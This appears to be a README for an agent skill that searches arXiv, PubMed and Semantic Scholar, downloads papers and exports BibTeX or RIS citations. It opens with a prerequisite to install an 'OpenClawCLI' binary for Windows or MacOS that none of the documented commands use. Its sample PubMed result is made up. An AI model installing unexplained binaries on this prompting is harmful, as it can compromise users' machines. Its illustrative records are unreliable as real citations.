academic-research-hub（学术研究中心）

Academic Research Hub

Search and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)

Installation Best Practices:

# Standard installation
pip install arxiv scholarly pubmed-parser semanticscholar requests

# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests

Never use --break-system-packages as it can damage your system's Python installation.

Quick Reference

Core Features

1. Multi-Source Search

Search across multiple academic databases from a single interface.

Supported Sources:

• arXiv - Physics, mathematics, computer science, quantitative biology, quantitative finance, statistics
• PubMed - Biomedical and life sciences literature
• Semantic Scholar - Computer science and interdisciplinary research
• Google Scholar - Broad academic search (limited, no API)

2. Paper Download

Download full-text PDFs when available.

python scripts/research.py arxiv "deep learning" --download --output-dir papers/

3. Citation Extraction

Extract and format citations from papers.

Supported formats:

• BibTeX
• RIS
• JSON
• Plain text

4. Metadata Retrieval

Get comprehensive metadata for each paper:

• Title, authors, abstract
• Publication date
• Journal/conference
• DOI, arXiv ID, PubMed ID
• Citation count
• References

Source-Specific Commands

arXiv Search

Search the arXiv repository for preprints.

# Basic search
python scripts/research.py arxiv "quantum computing"

# Filter by category
python scripts/research.py arxiv "neural networks" --category cs.LG

# Filter by date
python scripts/research.py arxiv "transformers" --year 2023

# Download papers
python scripts/research.py arxiv "attention mechanism" --download --max-results 10

Available categories:

• cs.AI - Artificial Intelligence
• cs.LG - Machine Learning
• cs.CV - Computer Vision
• cs.CL - Computation and Language
• math.CO - Combinatorics
• physics.optics - Optics
• q-bio.GN - Genomics
• Full list

Output:

1. Attention Is All You Need
   Authors: Vaswani et al.
   Published: 2017-06-12
   arXiv ID: 1706.03762
   Categories: cs.CL, cs.LG
   Abstract: The dominant sequence transduction models...
   PDF: http://arxiv.org/pdf/1706.03762v5

PubMed Search

Search biomedical literature indexed in PubMed.

# Basic search
python scripts/research.py pubmed "cancer immunotherapy"

# Filter by date range
python scripts/research.py pubmed "CRISPR" --start-date 2023-01-01 --end-date 2023-12-31

# Filter by publication type
python scripts/research.py pubmed "covid vaccine" --publication-type "Clinical Trial"

# Get full text links
python scripts/research.py pubmed "gene therapy" --full-text

Publication types:

• Clinical Trial
• Meta-Analysis
• Review
• Systematic Review
• Randomized Controlled Trial

Output:

1. mRNA vaccine effectiveness against COVID-19
   Authors: Smith J, Jones K, et al.
   Journal: New England Journal of Medicine
   Published: 2023-03-15
   PMID: 36913851
   DOI: 10.1056/NEJMoa2301234
   Abstract: Background: mRNA vaccines have shown...
   Full Text: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9876543/

Semantic Scholar Search

Search computer science and interdisciplinary research.

# Basic search
python scripts/research.py semantic "reinforcement learning"

# Filter by year
python scripts/research.py semantic "graph neural networks" --year 2022

# Get highly cited papers
python scripts/research.py semantic "transformers" --min-citations 100

# Include references
python scripts/research.py semantic "BERT" --include-references

Output includes:

• Citation count
• Influential citation count
• Reference list
• Citing papers
• Fields of study

Output:

1. BERT: Pre-training of Deep Bidirectional Transformers
   Authors: Devlin J, Chang MW, Lee K, Toutanova K
   Published: 2019
   Paper ID: df2b0e26d0599ce3e70df8a9da02e51594e0e992
   Citations: 15000+
   Influential Citations: 2000+
   Fields: Computer Science, Linguistics
   Abstract: We introduce a new language representation model...
   PDF: https://arxiv.org/pdf/1810.04805.pdf

Essential Options

Result Limits

Control the number of results returned.

--max-results N    # Default: 10, range: 1-100

Examples:

python scripts/research.py arxiv "machine learning" --max-results 5
python scripts/research.py pubmed "diabetes" --max-results 50

Output Formats

Choose how results are formatted.

--format <text|json|bibtex|ris|markdown>

Text - Human-readable format (default)

python scripts/research.py arxiv "quantum" --format text

JSON - Structured data for processing

python scripts/research.py arxiv "quantum" --format json

BibTeX - For LaTeX documents

python scripts/research.py arxiv "quantum" --format bibtex

RIS - For reference managers (Zotero, Mendeley)

python scripts/research.py arxiv "quantum" --format ris

Markdown - For documentation

python scripts/research.py arxiv "quantum" --format markdown

Save to File

Save results to a file.

--output <filepath>

Examples:

python scripts/research.py arxiv "AI" --output results.txt
python scripts/research.py pubmed "cancer" --format json --output papers.json
python scripts/research.py semantic "NLP" --format bibtex --output references.bib

Download Papers

Download full-text PDFs when available.

--download
--output-dir <directory>    # Where to save PDFs (default: downloads/)

Examples:

# Download to default directory
python scripts/research.py arxiv "deep learning" --download --max-results 5

# Download to specific directory
python scripts/research.py arxiv "transformers" --download --output-dir papers/nlp/

Advanced Features

Citation Extraction

Extract citations from papers.

--citations              # Extract citations
--citation-format <format>    # bibtex, ris, json (default: bibtex)

Example:

python scripts/research.py arxiv "attention mechanism" --citations --citation-format bibtex --output citations.bib

Date Filtering

Filter by publication date.

arXiv:

--year <YYYY>           # Specific year
--start-date <YYYY-MM-DD>
--end-date <YYYY-MM-DD>

PubMed:

--start-date <YYYY-MM-DD>
--end-date <YYYY-MM-DD>

Examples:

python scripts/research.py arxiv "quantum" --year 2023
python scripts/research.py pubmed "vaccine" --start-date 2022-01-01 --end-date 2023-12-31

Author Search

Search for papers by specific authors.

--author "Last, First"

Examples:

python scripts/research.py arxiv "neural networks" --author "Hinton, Geoffrey"
python scripts/research.py semantic "deep learning" --author "Bengio, Yoshua"

Sort Options

Sort results by different criteria.

--sort-by <relevance|date|citations>

Examples:

python scripts/research.py arxiv "machine learning" --sort-by date
python scripts/research.py semantic "NLP" --sort-by citations

Common Workflows

Literature Review

Gather papers on a topic for a literature review.

# Step 1: Search multiple sources
python scripts/research.py arxiv "graph neural networks" --max-results 20 --format json --output arxiv_gnn.json
python scripts/research.py semantic "graph neural networks" --max-results 20 --format json --output semantic_gnn.json

# Step 2: Download key papers
python scripts/research.py arxiv "graph neural networks" --download --max-results 10 --output-dir papers/gnn/

# Step 3: Generate bibliography
python scripts/research.py arxiv "graph neural networks" --max-results 20 --format bibtex --output gnn_references.bib

Finding Recent Research

Track the latest papers in a field.

# Last year's papers
python scripts/research.py arxiv "large language models" --year 2023 --sort-by date --max-results 30

# Last month's biomedical papers
python scripts/research.py pubmed "gene therapy" --start-date 2023-11-01 --end-date 2023-11-30 --format markdown --output recent_gene_therapy.md

Highly Cited Papers

Find influential papers in a field.

python scripts/research.py semantic "reinforcement learning" --min-citations 500 --sort-by citations --max-results 25

Author Publication History

Track an author's work.

python scripts/research.py arxiv "deep learning" --author "LeCun, Yann" --sort-by date --max-results 50 --output lecun_papers.json

Building a Reference Library

Create a comprehensive reference collection.

# Create directory structure
mkdir -p references/{papers,citations}

# Search and download papers
python scripts/research.py arxiv "transformers NLP" --download --max-results 15 --output-dir references/papers/

# Generate citations
python scripts/research.py arxiv "transformers NLP" --max-results 15 --format bibtex --output references/citations/transformers.bib

Cross-Source Validation

Verify findings across multiple databases.

# Search same topic across sources
python scripts/research.py arxiv "federated learning" --max-results 10 --output arxiv_fl.txt
python scripts/research.py semantic "federated learning" --max-results 10 --output semantic_fl.txt
python scripts/research.py pubmed "federated learning" --max-results 10 --output pubmed_fl.txt

# Compare results
diff arxiv_fl.txt semantic_fl.txt

Output Format Examples

Text Format (Default)

Search Results: 3 papers found

1. Attention Is All You Need
   Authors: Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al.
   Published: 2017-06-12
   arXiv ID: 1706.03762
   Categories: cs.CL, cs.LG
   Abstract: The dominant sequence transduction models are based on complex recurrent or convolutional neural networks...
   PDF: http://arxiv.org/pdf/1706.03762v5

2. BERT: Pre-training of Deep Bidirectional Transformers
   Authors: Devlin, Jacob; Chang, Ming-Wei; Lee, Kenton; Toutanova, Kristina
   Published: 2018-10-11
   arXiv ID: 1810.04805
   Categories: cs.CL
   Abstract: We introduce a new language representation model called BERT...
   PDF: http://arxiv.org/pdf/1810.04805v2

JSON Format

[
  {
    "title": "Attention Is All You Need",
    "authors": ["Vaswani, Ashish", "Shazeer, Noam", "Parmar, Niki"],
    "published": "2017-06-12",
    "arxiv_id": "1706.03762",
    "categories": ["cs.CL", "cs.LG"],
    "abstract": "The dominant sequence transduction models...",
    "pdf_url": "http://arxiv.org/pdf/1706.03762v5",
    "doi": "10.48550/arXiv.1706.03762"
  }
]

BibTeX Format

@article{vaswani2017attention,
  title={Attention Is All You Need},
  author={Vaswani, Ashish and Shazeer, Noam and Parmar, Niki and Uszkoreit, Jakob and Jones, Llion and Gomez, Aidan N and Kaiser, {\L}ukasz and Polosukhin, Illia},
  journal={arXiv preprint arXiv:1706.03762},
  year={2017},
  url={http://arxiv.org/abs/1706.03762}
}

RIS Format

TY  - JOUR
TI  - Attention Is All You Need
AU  - Vaswani, Ashish
AU  - Shazeer, Noam
AU  - Parmar, Niki
PY  - 2017
DA  - 2017/06/12
JO  - arXiv preprint
VL  - arXiv:1706.03762
UR  - http://arxiv.org/abs/1706.03762
ER  -

Markdown Format

# Search Results: 3 papers found

## 1. Attention Is All You Need

**Authors:** Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al.

**Published:** 2017-06-12

**arXiv ID:** 1706.03762

**Categories:** cs.CL, cs.LG

**Abstract:** The dominant sequence transduction models are based on complex recurrent or convolutional neural networks...

**PDF:** [Download](http://arxiv.org/pdf/1706.03762v5)

Best Practices

Search Strategy

1. Start broad - Use general terms to get an overview
2. Refine iteratively - Add filters based on initial results
3. Use multiple sources - Cross-reference findings
4. Check recent papers - Use date filters for current research

Result Management

1. Save searches - Use --output to preserve results
2. Organize downloads - Create logical directory structures
3. Export citations early - Generate BibTeX as you search
4. Track sources - Note which database returned which papers

Download Guidelines

1. Respect rate limits - Don't download hundreds of papers at once
2. Check licensing - Verify you have rights to use papers
3. Organize by topic - Use clear directory names
4. Keep metadata - Save JSON alongside PDFs

Citation Practices

1. Verify citations - Check DOIs and URLs
2. Use standard formats - BibTeX for LaTeX, RIS for reference managers
3. Include abstracts - Helpful for later review
4. Update regularly - Re-run searches for new papers

Troubleshooting

Installation Issues

"Missing required dependency"

# Install all dependencies
pip install arxiv scholarly pubmed-parser semanticscholar requests

# Or use virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests

"OpenClawCLI not found"

• Download from https://clawhub.ai/
• Install for your OS (Windows/MacOS)

Search Issues

"No results found"

• Try broader search terms
• Check spelling and terminology
• Remove restrictive filters
• Try a different database

"Rate limit exceeded"

• Wait a few minutes before retrying
• Reduce --max-results value
• Space out requests

"Download failed"

• Check internet connection
• Some papers may not have PDFs available
• Verify you have permissions to access
• Try downloading individually

API Issues

"API timeout"

• The service may be temporarily unavailable
• Retry after a moment
• Check status at respective service websites

"Invalid API response"

• Check if the service is down
• Verify your query syntax
• Try simpler queries

Limitations

Access Restrictions

• Not all papers have downloadable PDFs
• Some content requires institutional access
• Paywalled journals may only show abstracts
• Google Scholar has strict rate limits

Data Completeness

• Citation counts may be outdated
• Not all metadata fields available for every paper
• Some older papers may have incomplete records
• Preprints may not have final publication info

Search Capabilities

• Boolean operators vary by source
• No unified query syntax across databases
• Some databases don't support all filters
• Results may differ from web interface searches

Legal Considerations

• Respect copyright and licensing
• Don't redistribute downloaded papers
• Follow institutional access policies
• Check terms of service for each database

Command Reference

python scripts/research.py <source> "<query>" [OPTIONS]

SOURCES:
  arxiv              Search arXiv repository
  pubmed             Search PubMed database
  semantic           Search Semantic Scholar

REQUIRED:
  query              Search query string (in quotes)

GENERAL OPTIONS:
  -n, --max-results  Maximum results (default: 10, max: 100)
  -f, --format       Output format (text|json|bibtex|ris|markdown)
  -o, --output       Save to file path
  --sort-by          Sort by (relevance|date|citations)

FILTERING:
  --year             Filter by specific year (YYYY)
  --start-date       Start date (YYYY-MM-DD)
  --end-date         End date (YYYY-MM-DD)
  --author           Author name
  --min-citations    Minimum citation count

ARXIV-SPECIFIC:
  --category         arXiv category (e.g., cs.AI, cs.LG)

PUBMED-SPECIFIC:
  --publication-type Publication type filter
  --full-text        Include full text links

SEMANTIC-SPECIFIC:
  --include-references   Include paper references

DOWNLOAD:
  --download         Download paper PDFs
  --output-dir       Download directory (default: downloads/)

CITATIONS:
  --citations        Extract citations
  --citation-format  Citation format (bibtex|ris|json)

HELP:
  --help             Show all options

Examples by Use Case

Quick Search

# Find recent papers
python scripts/research.py arxiv "quantum computing"

# Search biomedical literature
python scripts/research.py pubmed "alzheimer disease"

Comprehensive Research

# Search multiple sources
python scripts/research.py arxiv "neural networks" --max-results 30 --output arxiv.json
python scripts/research.py semantic "neural networks" --max-results 30 --output semantic.json

# Download important papers
python scripts/research.py arxiv "neural networks" --download --max-results 10

Citation Management

# Generate BibTeX
python scripts/research.py arxiv "deep learning" --format bibtex --output dl_refs.bib

# Export to reference manager
python scripts/research.py pubmed "gene editing" --format ris --output genes.ris

Tracking New Research

# This month's papers
python scripts/research.py arxiv "LLM" --start-date 2024-01-01 --sort-by date

# Recent highly-cited work
python scripts/research.py semantic "transformers" --year 2023 --min-citations 50

Support

For issues or questions:

1. Check this documentation
2. Run python scripts/research.py --help
3. Verify dependencies are installed
4. Check database-specific documentation

Resources:

• OpenClawCLI: https://clawhub.ai/
• arXiv API: https://arxiv.org/help/api
• PubMed API: https://www.ncbi.nlm.nih.gov/books/NBK25501/
• Semantic Scholar API: https://api.semanticscholar.org/